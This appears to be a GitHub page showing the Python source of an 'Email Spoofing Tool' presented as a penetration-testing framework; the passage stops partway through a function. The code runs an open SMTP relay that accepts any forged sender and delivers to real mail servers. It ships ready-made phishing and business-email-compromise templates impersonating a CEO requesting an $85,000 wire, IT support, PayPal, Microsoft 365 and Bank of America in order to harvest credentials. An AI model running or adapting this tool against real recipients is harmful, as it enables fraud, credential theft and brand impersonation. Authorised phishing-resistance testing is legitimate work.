forked from TechSky-Code/EST
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathest.py
More file actions
1162 lines (975 loc) Β· 48.9 KB
/
est.py
File metadata and controls
1162 lines (975 loc) Β· 48.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
"""
EST - Email Spoofing Tool
Professional Email Security Assessment Framework
Author: Security Research Team
Version: 2.0.1
License: MIT
Repository: https://github.com/your-org/EST
LEGAL NOTICE:
This tool is designed for authorized security testing, penetration testing,
and educational purposes only. Users must obtain explicit written permission
before testing any systems they do not own. Unauthorized use of this tool
may violate local, state, and federal laws.
The developers assume no liability and are not responsible for any misuse
or damage caused by this program.
"""
import sys
import os
import json
import argparse
import socket
import threading
import smtplib
import time
import subprocess
import signal
from datetime import datetime
from pathlib import Path
from typing import Dict, List, Optional, Tuple
import logging
from dataclasses import dataclass
import re
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.header import Header
from email.utils import formatdate
import email.utils
# Version and metadata
__version__ = "2.0.1"
__author__ = "Tech Sky - SRT"
__license__ = "MIT"
__description__ = "Professional Email Security Assessment Framework"
@dataclass
class EmailScenario:
"""Data class for email spoofing scenarios"""
name: str
category: str
from_email: str
from_name: str
subject: str
body: str
description: str
severity: str
@dataclass
class TestResult:
"""Data class for test results"""
timestamp: str
test_type: str
scenario: str
target: str
from_email: str
success: bool
details: Dict
class ESTConfig:
"""Configuration manager for EST"""
def __init__(self):
self.config_dir = Path.home() / ".est"
self.config_file = self.config_dir / "config.json"
self.log_file = self.config_dir / "est_tests.log"
self.reports_dir = self.config_dir / "reports"
# Create directories
self.config_dir.mkdir(exist_ok=True)
self.reports_dir.mkdir(exist_ok=True)
# Load configuration
self.config = self._load_config()
# Setup logging
self._setup_logging()
def _load_config(self) -> Dict:
"""Load configuration from file"""
default_config = {
"version": __version__,
"smtp_server": {
"host": "0.0.0.0",
"port": 2525,
"timeout": 30
},
"scenarios": [
{
"name": "CEO Fraud - Urgent Wire Transfer",
"category": "Business Email Compromise",
"from_email": "[email protected]",
"from_name": "John Smith, CEO",
"subject": "URGENT: Wire Transfer Authorization Required",
"body": "I need you to process an urgent wire transfer for $85,000 to our new vendor immediately. This is time-sensitive and confidential. Please handle this discreetly and confirm once completed.\n\nAmount: $85,000\nAccount details will be provided separately.\n\nRegards,\nJohn Smith\nChief Executive Officer",
"description": "CEO impersonation requesting urgent financial transaction",
"severity": "Critical"
},
{
"name": "IT Helpdesk - Password Reset",
"category": "Technical Support Fraud",
"from_email": "[email protected]",
"from_name": "IT Support Team",
"subject": "Action Required: Password Reset Verification",
"body": "Dear User,\n\nWe have detected suspicious activity on your account. For security purposes, you must verify your current password within 24 hours to prevent account suspension.\n\nClick here to verify: [VERIFICATION LINK]\n\nFailure to verify will result in immediate account lockout.\n\nIT Support Team\nDo not reply to this email.",
"description": "IT support impersonation for credential harvesting",
"severity": "High"
},
{
"name": "PayPal Security Alert",
"category": "Financial Services Phishing",
"from_email": "[email protected]",
"from_name": "PayPal Security Team",
"subject": "Security Alert: Unusual Account Activity Detected",
"body": "We've detected unusual activity on your PayPal account:\n\nβ’ Login from new device (IP: 192.168.1.100)\nβ’ Attempted transaction: $1,247.99\nβ’ Location: Unknown\n\nYour account has been temporarily limited for your protection.\n\nVerify your account immediately: [SECURE LINK]\n\nIf you don't recognize this activity, please contact us immediately.\n\nPayPal Security Team\nThis is an automated message.",
"description": "PayPal impersonation for account compromise",
"severity": "High"
},
{
"name": "Microsoft 365 License Expiration",
"category": "Software/License Fraud",
"from_email": "[email protected]",
"from_name": "Microsoft 365 Admin",
"subject": "ACTION REQUIRED: Your Microsoft 365 License Expires Today",
"body": "Your Microsoft 365 Business license expires today at 11:59 PM.\n\nImmediate action required to prevent:\nβ Loss of email access\nβ File synchronization stoppage\nβ Team collaboration disruption\n\nRenew immediately to maintain access:\n[RENEWAL LINK]\n\nYour license key: M365-BIZ-2024-XXXX\n\nMicrosoft 365 Administration\nThis is an automated renewal notice.",
"description": "Microsoft service impersonation for credential theft",
"severity": "Medium"
},
{
"name": "Bank Account Verification",
"category": "Financial Institution Fraud",
"from_email": "[email protected]",
"from_name": "Bank of America Security",
"subject": "Immediate Verification Required - Account Suspension Notice",
"body": "IMPORTANT SECURITY NOTICE\n\nWe have temporarily suspended your account due to suspicious activity:\n\nβ’ Multiple failed login attempts\nβ’ Unrecognized device access\nβ’ Potential unauthorized transactions\n\nAccount Status: SUSPENDED\nSuspension Date: [TODAY]\nReference: SEC-2024-[RANDOM]\n\nVerify your identity immediately to restore access:\n[VERIFICATION PORTAL]\n\nFailure to verify within 48 hours will result in permanent closure.\n\nBank of America Security Department",
"description": "Banking institution impersonation for credential harvesting",
"severity": "Critical"
}
],
"temp_email_services": [
"guerrillamail.com",
"sharklasers.com",
"mailinator.com",
"10minutemail.com",
"tempmail.org",
"yopmail.com"
],
"reporting": {
"auto_generate": True,
"format": "json",
"include_screenshots": False
}
}
if self.config_file.exists():
try:
with open(self.config_file, 'r') as f:
loaded_config = json.load(f)
# Merge with defaults to ensure all keys exist
for key in default_config:
if key not in loaded_config:
loaded_config[key] = default_config[key]
return loaded_config
except Exception as e:
print(f"β οΈ Error loading config: {e}")
return default_config
else:
self._save_config(default_config)
return default_config
def _save_config(self, config: Dict):
"""Save configuration to file"""
try:
with open(self.config_file, 'w') as f:
json.dump(config, f, indent=2)
except Exception as e:
print(f"β οΈ Error saving config: {e}")
def _setup_logging(self):
"""Setup logging configuration"""
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler(self.log_file),
logging.StreamHandler(sys.stdout)
]
)
self.logger = logging.getLogger('EST')
class SMTPTestServer:
"""Professional SMTP server for security testing"""
def __init__(self, host: str, port: int, config: ESTConfig):
self.host = host
self.port = port
self.config = config
self.running = False
self.connections = 0
self.emails_processed = 0
def start(self):
"""Start the SMTP testing server"""
try:
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.host, self.port))
self.sock.listen(10)
self.running = True
print(f"""
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β EST SMTP SERVER v{__version__} β
β Email Spoofing Tool - Server Mode β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
π Server Status: ACTIVE
π‘ Listening on: {self.host}:{self.port}
π Log file: {self.config.log_file}
π Statistics: {self.connections} connections, {self.emails_processed} emails processed
β‘ Server Features:
β’ Multi-threaded connection handling
β’ Automatic MX record resolution
β’ Real-time email relay to destinations
β’ Comprehensive audit logging
β’ Professional SMTP protocol compliance
π― Quick Test Commands:
telnet {self.host} {self.port}
est test 1 [email protected]
π Press Ctrl+C to stop server
""")
# Handle Ctrl+C gracefully
signal.signal(signal.SIGINT, self._signal_handler)
while self.running:
try:
client_sock, addr = self.sock.accept()
self.connections += 1
thread = threading.Thread(
target=self._handle_client,
args=(client_sock, addr),
name=f"SMTP-Client-{self.connections}"
)
thread.daemon = True
thread.start()
except Exception as e:
if self.running:
self.config.logger.error(f"Accept error: {e}")
except Exception as e:
print(f"β Server startup failed: {e}")
if self.port <= 1024:
print("π‘ Try using a higher port number (e.g., --port 2525)")
finally:
if hasattr(self, 'sock'):
self.sock.close()
def _signal_handler(self, signum, frame):
"""Handle shutdown signals"""
print(f"\n\nπ Shutting down EST SMTP Server...")
print(f"π Final Statistics:")
print(f" β’ Connections handled: {self.connections}")
print(f" β’ Emails processed: {self.emails_processed}")
print(f" β’ Log file: {self.config.log_file}")
self.running = False
sys.exit(0)
def _handle_client(self, client_sock, addr):
"""Handle individual SMTP client connections"""
client_id = f"{addr[0]}:{addr[1]}"
try:
self.config.logger.info(f"New SMTP connection from {client_id}")
# SMTP session state
mail_from = ""
rcpt_to = []
# Send greeting
client_sock.send(f"220 EST-SMTP-{__version__} Security Testing Server Ready\r\n".encode())
while self.running:
try:
data = client_sock.recv(4096).decode('utf-8', errors='ignore').strip()
if not data:
break
# Log command
self.config.logger.debug(f"[{client_id}] Command: {data}")
cmd = data.upper()
if cmd.startswith("EHLO") or cmd.startswith("HELO"):
response = f"250-EST-SMTP Hello {addr[0]}\r\n250 HELP\r\n"
client_sock.send(response.encode())
elif cmd.startswith("MAIL FROM:"):
mail_from = self._extract_email(data)
self.config.logger.info(f"[{client_id}] Spoofed sender: {mail_from}")
client_sock.send(b"250 OK\r\n")
elif cmd.startswith("RCPT TO:"):
rcpt = self._extract_email(data)
rcpt_to.append(rcpt)
self.config.logger.info(f"[{client_id}] Target: {rcpt}")
client_sock.send(b"250 OK\r\n")
elif cmd == "DATA":
client_sock.send(b"354 End data with <CR><LF>.<CR><LF>\r\n")
# Receive email data
email_data = ""
while True:
line = client_sock.recv(4096).decode('utf-8', errors='ignore')
email_data += line
if line.endswith('\r\n.\r\n'):
break
# Process email
success = self._process_email(mail_from, rcpt_to, email_data[:-5], client_id)
self.emails_processed += 1
if success:
client_sock.send(b"250 OK Message queued for delivery\r\n")
else:
client_sock.send(b"550 Message delivery failed\r\n")
# Reset session
mail_from = ""
rcpt_to = []
elif cmd == "QUIT":
client_sock.send(b"221 EST-SMTP closing connection\r\n")
break
elif cmd.startswith("RSET"):
mail_from = ""
rcpt_to = []
client_sock.send(b"250 OK\r\n")
else:
client_sock.send(b"500 Command not recognized\r\n")
except socket.timeout:
break
except Exception as e:
self.config.logger.error(f"[{client_id}] Command processing error: {e}")
break
except Exception as e:
self.config.logger.error(f"[{client_id}] Connection error: {e}")
finally:
client_sock.close()
self.config.logger.info(f"[{client_id}] Connection closed")
def _extract_email(self, smtp_line: str) -> str:
"""Extract email address from SMTP command"""
match = re.search(r'<(.+?)>', smtp_line)
if match:
return match.group(1)
parts = smtp_line.split()
return parts[-1].strip('<>') if len(parts) > 1 else ""
def _process_email(self, mail_from: str, rcpt_to: List[str], email_data: str, client_id: str) -> bool:
"""Process and relay spoofed email"""
self.config.logger.info(f"[{client_id}] Processing spoofed email from {mail_from} to {rcpt_to}")
success_count = 0
for rcpt in rcpt_to:
if self._relay_email(mail_from, rcpt, email_data):
success_count += 1
# Log test result
result = TestResult(
timestamp=datetime.now().isoformat(),
test_type="smtp_relay",
scenario="server_relay",
target=", ".join(rcpt_to),
from_email=mail_from,
success=success_count > 0,
details={
"client_id": client_id,
"total_targets": len(rcpt_to),
"successful_deliveries": success_count,
"email_size": len(email_data)
}
)
self._log_test_result(result)
return success_count > 0
def _relay_email(self, mail_from: str, rcpt_to: str, email_data: str) -> bool:
"""Relay email to destination"""
try:
domain = rcpt_to.split('@')[1]
mx_servers = self._get_mx_servers(domain)
self.config.logger.info(f"Attempting relay to {rcpt_to} via {len(mx_servers)} MX servers")
for mx_server in mx_servers:
try:
server = smtplib.SMTP(mx_server, 25, timeout=15)
server.set_debuglevel(0)
# Ensure proper encoding
full_email = f"From: {mail_from}\r\nTo: {rcpt_to}\r\n{email_data}"
full_email_bytes = full_email.encode('utf-8')
server.sendmail(mail_from, [rcpt_to], full_email_bytes)
server.quit()
self.config.logger.info(f"β
Email delivered to {rcpt_to} via {mx_server}")
return True
except Exception as e:
self.config.logger.warning(f"β Relay failed via {mx_server}: {str(e)[:60]}...")
continue
self.config.logger.error(f"β All relay attempts failed for {rcpt_to}")
return False
except Exception as e:
self.config.logger.error(f"β Relay error for {rcpt_to}: {e}")
return False
def _get_mx_servers(self, domain: str) -> List[str]:
"""Get MX servers for domain"""
try:
import dns.resolver
mx_records = dns.resolver.resolve(domain, 'MX')
servers = [str(mx.exchange).rstrip('.') for mx in sorted(mx_records, key=lambda x: x.preference)]
self.config.logger.debug(f"Found MX servers for {domain}: {servers}")
return servers
except ImportError:
self.config.logger.warning("DNS library not available, using fallbacks")
except Exception as e:
self.config.logger.warning(f"DNS lookup failed for {domain}: {e}")
# Fallback servers
fallbacks = [f"mail.{domain}", f"mx.{domain}", f"mx1.{domain}"]
working_fallbacks = []
for mx in fallbacks:
try:
socket.gethostbyname(mx)
working_fallbacks.append(mx)
except:
continue
return working_fallbacks
def _log_test_result(self, result: TestResult):
"""Log test result to file"""
try:
log_entry = {
"timestamp": result.timestamp,
"test_type": result.test_type,
"scenario": result.scenario,
"target": result.target,
"from_email": result.from_email,
"success": result.success,
"details": result.details
}
with open(self.config.log_file, 'a') as f:
f.write(json.dumps(log_entry) + '\n')
except Exception as e:
self.config.logger.error(f"Failed to log test result: {e}")
class EST:
"""Main EST application class"""
def __init__(self):
self.config = ESTConfig()
self.scenarios = [EmailScenario(**s) for s in self.config.config['scenarios']]
def print_banner(self):
"""Print professional banner"""
banner = f"""
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β EST - Email Spoofing Tool β
β Professional Security Assessment v{__version__} β
β β
β Advanced Email Security Testing Framework β
β For Authorized Penetration Testing Only β
β Educational & Research Purposes β
β β
β Author: {__author__} β
β License: {__license__} β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β οΈ LEGAL NOTICE: This tool is for authorized security testing only.
Obtain explicit written permission before testing any systems.
Unauthorized use may violate applicable laws and regulations.
"""
print(banner)
def list_scenarios(self):
"""List all available test scenarios"""
print("\nπ Available Email Spoofing Scenarios:\n")
categories = {}
for i, scenario in enumerate(self.scenarios, 1):
if scenario.category not in categories:
categories[scenario.category] = []
categories[scenario.category].append((i, scenario))
for category, scenarios in categories.items():
print(f"π·οΈ {category}")
print("β" * (len(category) + 5))
for idx, scenario in scenarios:
severity_icon = {
"Critical": "π΄",
"High": "π ",
"Medium": "π‘",
"Low": "π’"
}.get(scenario.severity, "βͺ")
print(f" {idx:2d}. {scenario.name} {severity_icon}")
print(f" From: {scenario.from_name} <{scenario.from_email}>")
print(f" Subject: {scenario.subject}")
print(f" Description: {scenario.description}")
print()
print(f"π Total scenarios: {len(self.scenarios)}")
print(f"π― Use 'est test <id> <target>' to run a scenario")
def run_scenario(self, scenario_id: int, target: str, smtp_host: str = "localhost", smtp_port: int = 2525) -> bool:
"""Run a specific spoofing scenario"""
try:
scenario = self.scenarios[scenario_id - 1]
except IndexError:
print(f"β Invalid scenario ID: {scenario_id}")
print(f"π‘ Available scenarios: 1-{len(self.scenarios)}")
return False
print(f"\nπ― Executing Email Spoofing Test")
print(f"β" * 40)
print(f"π§ Scenario: {scenario.name}")
print(f"π·οΈ Category: {scenario.category}")
print(f"β οΈ Severity: {scenario.severity}")
print(f"π€ Spoofed From: {scenario.from_name} <{scenario.from_email}>")
print(f"π₯ Target: {target}")
print(f"π‘ SMTP Server: {smtp_host}:{smtp_port}")
print(f"π Timestamp: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
print()
try:
# Create professional email content using MIME
email_content = self._create_mime_email(scenario, target)
# Send via SMTP
print("π Initiating SMTP connection...")
server = smtplib.SMTP(smtp_host, smtp_port, timeout=30)
print("π€ Sending spoofed email...")
server.sendmail(scenario.from_email, [target], email_content)
server.quit()
print("β
Email spoofing test completed successfully!")
print(f"π Check target inbox: {target}")
# Log the test
result = TestResult(
timestamp=datetime.now().isoformat(),
test_type="scenario_test",
scenario=scenario.name,
target=target,
from_email=scenario.from_email,
success=True,
details={
"category": scenario.category,
"severity": scenario.severity,
"smtp_server": f"{smtp_host}:{smtp_port}"
}
)
self._log_test_result(result)
return True
except Exception as e:
print(f"β Email spoofing test failed: {e}")
print(f"π‘ Verify SMTP server is running: est server --port {smtp_port}")
# Log failed test
result = TestResult(
timestamp=datetime.now().isoformat(),
test_type="scenario_test",
scenario=scenario.name,
target=target,
from_email=scenario.from_email,
success=False,
details={
"error": str(e),
"smtp_server": f"{smtp_host}:{smtp_port}"
}
)
self._log_test_result(result)
return False
def run_custom_test(self, from_email: str, from_name: str, subject: str,
body: str, target: str, smtp_host: str = "localhost",
smtp_port: int = 2525) -> bool:
"""Run custom spoofing test"""
print(f"\nπ― Executing Custom Email Spoofing Test")
print(f"β" * 45)
print(f"π€ Spoofed From: {from_name} <{from_email}>")
print(f"π₯ Target: {target}")
print(f"π Subject: {subject}")
print(f"π‘ SMTP Server: {smtp_host}:{smtp_port}")
print(f"π Timestamp: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
print()
try:
# Create MIME email with proper encoding
email_content = self._create_custom_mime_email(from_email, from_name, subject, body, target)
print("π Initiating SMTP connection...")
server = smtplib.SMTP(smtp_host, smtp_port, timeout=30)
print("π€ Sending custom spoofed email...")
server.sendmail(from_email, [target], email_content)
server.quit()
print("β
Custom email spoofing test completed successfully!")
print(f"π Check target inbox: {target}")
# Log the test
result = TestResult(
timestamp=datetime.now().isoformat(),
test_type="custom_test",
scenario="custom",
target=target,
from_email=from_email,
success=True,
details={
"from_name": from_name,
"subject": subject,
"body_length": len(body),
"smtp_server": f"{smtp_host}:{smtp_port}"
}
)
self._log_test_result(result)
return True
except Exception as e:
print(f"β Custom email spoofing test failed: {e}")
# Log failed test
result = TestResult(
timestamp=datetime.now().isoformat(),
test_type="custom_test",
scenario="custom",
target=target,
from_email=from_email,
success=False,
details={
"error": str(e),
"smtp_server": f"{smtp_host}:{smtp_port}"
}
)
self._log_test_result(result)
return False
def show_logs(self, lines: int = 20):
"""Display recent test logs"""
if not self.config.log_file.exists():
print("π No test logs found")
print(f"π‘ Run some tests first, then check: {self.config.log_file}")
return
print(f"\nπ EST Security Test Logs (Last {lines} entries)")
print("β" * 80)
try:
with open(self.config.log_file, 'r') as f:
log_lines = f.readlines()
recent_logs = log_lines[-lines:] if len(log_lines) > lines else log_lines
for line in recent_logs:
try:
entry = json.loads(line.strip())
timestamp = entry['timestamp'][:19].replace('T', ' ')
status = "β
SUCCESS" if entry['success'] else "β FAILED"
test_type = entry['test_type'].replace('_', ' ').title()
print(f"π
{timestamp} | {status}")
print(f"π― Test: {test_type} - {entry['scenario']}")
print(f"π€ From: {entry['from_email']}")
print(f"π₯ Target: {entry['target']}")
if 'details' in entry and entry['details']:
details = entry['details']
if 'category' in details:
print(f"π·οΈ Category: {details['category']}")
if 'severity' in details:
print(f"β οΈ Severity: {details['severity']}")
if 'error' in details:
print(f"β Error: {details['error']}")
print("β" * 80)
except json.JSONDecodeError:
continue
print(f"π Total log entries: {len(log_lines)}")
print(f"π Full log file: {self.config.log_file}")
except Exception as e:
print(f"β Error reading logs: {e}")
def generate_report(self, output_file: Optional[str] = None):
"""Generate comprehensive test report"""
if not self.config.log_file.exists():
print("β No test data available for report generation")
return
print("π Generating EST Security Assessment Report...")
try:
# Read all log entries
with open(self.config.log_file, 'r') as f:
log_entries = [json.loads(line.strip()) for line in f if line.strip()]
if not log_entries:
print("β No test data found in logs")
return
# Generate report
report = self._create_report(log_entries)
# Save report
if not output_file:
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
output_file = self.config.reports_dir / f"est_report_{timestamp}.json"
with open(output_file, 'w') as f:
json.dump(report, f, indent=2)
print(f"β
Report generated: {output_file}")
self._print_report_summary(report)
except Exception as e:
print(f"β Report generation failed: {e}")
def _create_report(self, log_entries: List[Dict]) -> Dict:
"""Create comprehensive assessment report"""
total_tests = len(log_entries)
successful_tests = sum(1 for entry in log_entries if entry['success'])
failed_tests = total_tests - successful_tests
# Analyze by test type
test_types = {}
for entry in log_entries:
test_type = entry['test_type']
if test_type not in test_types:
test_types[test_type] = {'total': 0, 'success': 0}
test_types[test_type]['total'] += 1
if entry['success']:
test_types[test_type]['success'] += 1
# Analyze by scenario
scenarios = {}
for entry in log_entries:
scenario = entry['scenario']
if scenario not in scenarios:
scenarios[scenario] = {'total': 0, 'success': 0}
scenarios[scenario]['total'] += 1
if entry['success']:
scenarios[scenario]['success'] += 1
# Time analysis
timestamps = [entry['timestamp'] for entry in log_entries]
first_test = min(timestamps) if timestamps else None
last_test = max(timestamps) if timestamps else None
return {
"report_metadata": {
"generated_at": datetime.now().isoformat(),
"tool_version": __version__,
"report_type": "EST Security Assessment",
"total_tests": total_tests
},
"executive_summary": {
"total_tests_conducted": total_tests,
"successful_tests": successful_tests,
"failed_tests": failed_tests,
"success_rate": round((successful_tests / total_tests * 100), 2) if total_tests > 0 else 0,
"test_period": {
"first_test": first_test,
"last_test": last_test
}
},
"test_analysis": {
"by_test_type": test_types,
"by_scenario": scenarios
},
"detailed_logs": log_entries,
"recommendations": self._generate_recommendations(log_entries)
}
def _generate_recommendations(self, log_entries: List[Dict]) -> List[str]:
"""Generate security recommendations based on test results"""
recommendations = []
successful_tests = sum(1 for entry in log_entries if entry['success'])
total_tests = len(log_entries)
success_rate = (successful_tests / total_tests * 100) if total_tests > 0 else 0
if success_rate > 80:
recommendations.extend([
"π΄ CRITICAL: High email spoofing success rate detected",
"Implement SPF, DKIM, and DMARC email authentication",
"Configure email security gateways with spoofing detection",
"Conduct immediate security awareness training"
])
elif success_rate > 50:
recommendations.extend([
"π HIGH: Moderate spoofing vulnerabilities identified",
"Review and strengthen email authentication policies",
"Implement additional email security controls",
"Regular security awareness training recommended"
])
else:
recommendations.extend([
"π‘ MEDIUM: Some spoofing attempts successful",
"Continue monitoring email security controls",
"Periodic security awareness refresher training",
"Regular testing of email authentication mechanisms"
])
recommendations.extend([
"π Provide targeted training on identifying spoofed emails",
"π Implement email header analysis training",
"β‘ Establish incident response procedures for email attacks",
"π Regular penetration testing of email security controls"
])
return recommendations
def _print_report_summary(self, report: Dict):
"""Print report summary to console"""
summary = report['executive_summary']
print(f"\nπ EST Security Assessment Summary")
print("β" * 50)
print(f"π Total Tests: {summary['total_tests_conducted']}")
print(f"β
Successful: {summary['successful_tests']}")
print(f"β Failed: {summary['failed_tests']}")
print(f"π Success Rate: {summary['success_rate']}%")
if summary['success_rate'] > 80:
print("π΄ Risk Level: CRITICAL - Immediate action required")
elif summary['success_rate'] > 50:
print("π Risk Level: HIGH - Remediation recommended")
else:
print("π‘ Risk Level: MEDIUM - Monitoring advised")
print(f"\nπ Recommendations: {len(report['recommendations'])} items")
for rec in report['recommendations'][:3]:
print(f" β’ {rec}")
if len(report['recommendations']) > 3:
print(f" ... and {len(report['recommendations']) - 3} more")
def _create_mime_email(self, scenario: EmailScenario, target: str) -> str:
"""Create professional MIME email content with proper encoding"""
try:
# Create MIME message
msg = MIMEMultipart('alternative')
# Set headers with proper encoding
msg['From'] = f"{scenario.from_name} <{scenario.from_email}>"
msg['To'] = target
msg['Subject'] = Header(scenario.subject, 'utf-8')
msg['Date'] = formatdate(localtime=True)
msg['Message-ID'] = email.utils.make_msgid(domain=scenario.from_email.split('@')[1])
# Create email body with disclaimer
email_body = f"""{scenario.body}
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
This email was sent using EST (Email Spoofing Tool) for authorized
security testing purposes. If you received this email unexpectedly,
please contact your IT security team immediately.
Test Details:
β’ Scenario: {scenario.name}
β’ Category: {scenario.category}
β’ Severity: {scenario.severity}
β’ Timestamp: {datetime.now().isoformat()}
EST v{__version__} - Professional Email Security Assessment Framework
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ"""
# Create text part with proper encoding
text_part = MIMEText(email_body, 'plain', 'utf-8')
msg.attach(text_part)
return msg.as_string()
except Exception as e:
self.config.logger.error(f"MIME email creation failed: {e}")
# Fallback to simple string method
return self._create_simple_email(scenario, target)
def _create_custom_mime_email(self, from_email: str, from_name: str, subject: str, body: str, target: str) -> str:
"""Create custom MIME email with proper encoding"""
try:
# Create MIME message
msg = MIMEMultipart('alternative')
# Set headers with proper encoding
msg['From'] = f"{from_name} <{from_email}>"
msg['To'] = target
msg['Subject'] = Header(subject, 'utf-8')
msg['Date'] = formatdate(localtime=True)
msg['Message-ID'] = email.utils.make_msgid(domain=from_email.split('@')[1])
# Create email body with disclaimer
email_body = f"""{body}
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
This email was sent using EST (Email Spoofing Tool) for authorized
security testing purposes. If you received this email unexpectedly,
please contact your IT security team immediately.
EST v{__version__} - Professional Email Security Assessment Framework
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ"""
# Create text part with proper encoding
text_part = MIMEText(email_body, 'plain', 'utf-8')
msg.attach(text_part)
return msg.as_string()
except Exception as e:
self.config.logger.error(f"Custom MIME email creation failed: {e}")
# Fallback to simple string method
return self._create_simple_custom_email(from_email, from_name, subject, body, target)
def _create_simple_email(self, scenario: EmailScenario, target: str) -> str:
"""Fallback method to create simple email content"""
return f"""From: {scenario.from_name} <{scenario.from_email}>
To: {target}
Subject: {scenario.subject}
Date: {datetime.now().strftime('%a, %d %b %Y %H:%M:%S %z')}
Message-ID: <{int(time.time())}.{hash(target) % 10000}@{scenario.from_email.split('@')[1]}>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
{scenario.body}
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
This email was sent using EST (Email Spoofing Tool) for authorized
security testing purposes. If you received this email unexpectedly,
please contact your IT security team immediately.
Test Details:
β’ Scenario: {scenario.name}
β’ Category: {scenario.category}
β’ Severity: {scenario.severity}
β’ Timestamp: {datetime.now().isoformat()}
EST v{__version__} - Professional Email Security Assessment Framework
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
"""
def _create_simple_custom_email(self, from_email: str, from_name: str, subject: str, body: str, target: str) -> str:
"""Fallback method to create simple custom email content"""
return f"""From: {from_name} <{from_email}>
To: {target}
Subject: {subject}
Date: {datetime.now().strftime('%a, %d %b %Y %H:%M:%S %z')}
Message-ID: <{int(time.time())}.{hash(target) % 10000}@{from_email.split('@')[1]}>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8